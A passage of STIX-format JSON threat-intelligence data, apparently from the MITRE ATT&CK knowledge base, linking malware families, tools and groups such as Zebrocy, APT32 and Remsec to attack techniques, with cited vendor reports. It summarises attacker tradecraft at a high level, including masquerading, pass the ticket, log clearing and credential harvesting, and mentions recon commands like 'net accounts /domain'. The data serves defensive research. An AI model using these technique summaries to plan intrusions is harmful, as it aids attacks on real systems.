            "relationship_type": "uses",
            "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.889Z",
            "created": "2019-01-30T18:02:59.299Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) searches for files that are 60mb and less and contain the following extensions: .doc, .docx, .xls, .xlsx, .ppt, .pptx, .exe, .zip, and .rar. [Zebrocy](https://attack.mitre.org/software/S0251) also runs the <code>echo %APPDATA%</code> command to list the contents of the directory.(Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019) [Zebrocy](https://attack.mitre.org/software/S0251) can obtain the current execution path as well as perform drive enumeration.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ",
            "id": "relationship--86b7bab7-a1d6-4820-be55-c379f3967f1a",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-12-09T21:54:33.639Z",
            "created": "2019-01-30T18:39:48.457Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) is written to %LOCALAPPDATA%\\MicroSoft Updatea\\svServiceUpdate.exe prior being executed in a new process in an apparent attempt to masquerade as a legitimate folder and file.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--67f1d68d-fe0f-4e65-8b2a-f614fda68e3c",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T15:22:32.935Z",
            "created": "2019-01-30T19:50:46.595Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "source_name": "Unit 42 Nokki Oct 2018"
                }
            ],
            "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains a list of running processes.(Citation: Unit 42 Nokki Oct 2018)",
            "id": "relationship--4322dad3-453f-4af5-bd1c-0099baaf2b61",
            "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T01:19:37.049Z",
            "created": "2019-01-31T00:23:06.343Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) successfully gained remote access by using pass the ticket.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--c08684c8-8467-4b7f-a9ac-3330cf423261",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.696Z",
            "created": "2019-01-31T01:07:58.538Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "[Impacket](https://attack.mitre.org/software/S0357) can be used to sniff network traffic via an interface or raw socket.(Citation: Impacket Tools)",
            "id": "relationship--191d6679-d6a8-42e3-b5ff-84a8d5bfb1dd",
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "type": "relationship",
            "modified": "2019-04-18T21:49:12.757Z",
            "created": "2019-01-31T01:39:56.551Z"
        },
        {
            "id": "relationship--7a9e9275-44c2-40c9-9eb3-cafc54503874",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) uses /bin/bash to execute commands on the victim\u2019s machine.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
            "type": "relationship",
            "modified": "2020-03-17T18:17:38.540Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9b2356e1-6544-40a7-a694-8ac36a1da1b7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ping](https://attack.mitre.org/software/S0097) can be used to identify remote systems within a network.(Citation: TechNet Ping)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Ping",
                    "description": "Microsoft. (n.d.). Ping. Retrieved April 8, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490968.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735"
        },
        {
            "id": "relationship--c2e58b40-7644-4c0c-92ac-b63a565aca44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) checks if a value exists within a Registry key in the HKCU hive whose name is the same as the scheduled task it has created.(Citation: Unit 42 QUADAGENT July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T02:18:35.437Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--eda49ac0-3077-4bff-9b30-44f527914e9c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.004Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d7903e1f-f31c-48bc-b7c3-3616cb1a792f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about security software on the victim.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.044Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--0224ebf5-13ef-4fb0-b9e7-53ea58c15a4d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net accounts</code> and <code>net accounts /domain</code> commands with [Net](https://attack.mitre.org/software/S0039) can be used to obtain password policy information.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.695Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--35d35ecf-1326-4690-b105-23280e29c120",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) C2 messages are Base64-encoded.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:07:31.061Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5823e4cd-e6cb-4e62-8ed2-a0f296128d34",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.710Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a0186caf-482a-4f2a-bf2f-cac9fc51244a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to retrieve files from its C2 server.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
                }
            ],
            "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T16:19:37.560Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--10bb3d29-fe7d-49a4-a03b-ba1f78993af8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SynAck](https://attack.mitre.org/software/S0242) clears event logs.(Citation: SecureList SynAck Doppelg\u00e4nging May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/",
                    "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.",
                    "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018"
                }
            ],
            "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "relationship",
            "modified": "2020-02-18T03:55:31.096Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--92e4cc06-5708-4486-92cc-0d25d9a755d4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Traffic traversing the [Tor](https://attack.mitre.org/software/S0183) network will be forwarded to multiple nodes before exiting the [Tor](https://attack.mitre.org/software/S0183) network and continuing on to its intended destination.(Citation: Dingledine Tor The Second-Generation Onion Router)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dingledine Tor The Second-Generation Onion Router",
                    "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.",
                    "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf"
                }
            ],
            "source_ref": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2020-03-23T17:00:01.358Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--92e35558-f915-4357-b397-3cc7a0412b92",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve a list of running processes.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.284Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3cd2c187-587c-4969-957d-122ce654fc2a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) concatenates then decompresses multiple resources to load an embedded .Net Framework assembly.(Citation: Unit 42 OopsIE! Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2019-04-24T23:40:23.529Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fc4811c4-103b-48b7-9e52-20d574cfc4bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the execFile function to execute a specified file on the system using the NSTask:launch method.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.327Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4b5540e5-eac1-40f4-93d0-155f60e9395a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The C2 server response to a beacon sent by a variant of [Emissary](https://attack.mitre.org/software/S0082) contains a 36-character GUID value that is used as an encryption key for subsequent network communications. Some variants of [Emissary](https://attack.mitre.org/software/S0082) use various XOR operations to encrypt C2 data.(Citation: Lotus Blossom Dec 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lotus Blossom Dec 2015",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"
                }
            ],
            "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-16T15:50:20.159Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--37781434-3f1e-4f45-af34-b2378647c13a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
            "type": "relationship",
            "modified": "2020-03-31T22:14:56.184Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--90974f03-7f61-479e-bceb-6f26872d4812",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can function as a proxy to create a server that relays communication between the client and C&C server, or between two clients.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755",
            "type": "relationship",
            "modified": "2020-03-23T16:40:20.061Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d17c02f0-bd1f-4c16-8fe7-28d347407f2e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--809b79cd-be78-4597-88d1-5496d1d9993a",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
            "type": "relationship",
            "modified": "2020-01-24T14:18:13.663Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--60198640-1e5a-4b8e-9a69-5f275f7e0e68",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OSInfo](https://attack.mitre.org/software/S0165) queries the registry to look for information about Terminal Services.(Citation: Symantec Buckeye)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                }
            ],
            "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-18T20:19:35.792Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--25d65c10-5fa3-40c1-9e25-936894446178",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches through Outlook files and directories (e.g., inbox, sent, templates, drafts, archives, etc.).(Citation: Talos Smoke Loader July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "source_name": "Talos Smoke Loader July 2018"
                }
            ],
            "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004",
            "type": "relationship",
            "modified": "2020-03-17T16:34:11.261Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3076f49e-0db2-4652-a07d-653027aeef1e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a process list from the victim.(Citation: Kaspersky ProjectSauron Technical Analysis)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-11T17:45:33.752Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e7df8e8c-dfc4-48f2-bbd3-46b2572d60ca",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) modules are written in and executed via [PowerShell](https://attack.mitre.org/techniques/T1086).(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2019-04-24T23:43:08.232Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--46f301cd-8ae3-431a-931b-df4bb4fee271",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) harvests plain-text credentials as a password filter registered on domain controllers.(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
